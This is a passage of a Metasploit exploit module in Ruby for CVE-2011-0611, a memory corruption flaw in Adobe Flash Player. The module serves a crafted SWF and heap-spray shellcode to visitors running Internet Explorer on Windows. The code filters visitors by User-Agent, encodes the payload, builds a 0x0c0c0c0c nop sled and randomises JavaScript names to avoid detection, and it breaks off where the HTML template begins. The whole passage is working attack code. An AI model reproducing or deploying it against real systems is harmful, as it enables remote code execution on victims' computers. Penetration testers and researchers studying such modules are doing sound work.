##
# $Id: adobe_flashplayer_flash10o.rb 12330 2011-04-16 02:09:33Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player that was discovered, and
has been exploited actively in the wild. By embedding a specially crafted .swf file,
Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
overwrite a pointer in memory, and results arbitrary code execution.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12330 $",
'Author' =>
[
'sinn3r',
],
'References' =>
[
[ 'CVE', '2011-0611' ],
[ 'OSVDB', '71686' ],
[ 'BID', '47314' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
[ 'URL', 'http://secunia.com/blog/210' ],
],
'Payload' =>
{
'BadChars' => "\x00",
},
'DefaultOptions' =>
{
'ExitFunction' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE 6/7 on Windows XP SP3 and Windows Vista', {} ],
],
'Privileged' => false,
'DisclosureDate' => "Apr 11 2011",
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /MSIE \d\.\d/ and agent !~ /NT \d\.\d/
send_not_found(cli)
return
end
if request.uri =~ /\.swf/
print_status("Sending trigger SWF...")
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
return
end
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
nopsled = Rex::Text.to_unescape( [0x0c0c0c0c].pack('V') * 8 , Rex::Arch.endian(target.arch))
swf_name = rand_text_alpha(rand(3))
js_func_name = rand_text_alpha(rand(6) +3)
js_var_blocks_name = rand_text_alpha(rand(6) + 3)
js_var_shell_name = rand_text_alpha(rand(6) + 3)
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
js_var_index_name = rand_text_alpha(rand(6) + 3)
js_var_padding_offset = rand_text_alpha(rand(6) + 3)
trigger_file_name = "#{get_resource}/#{swf_name}.swf"
html = <<-EOS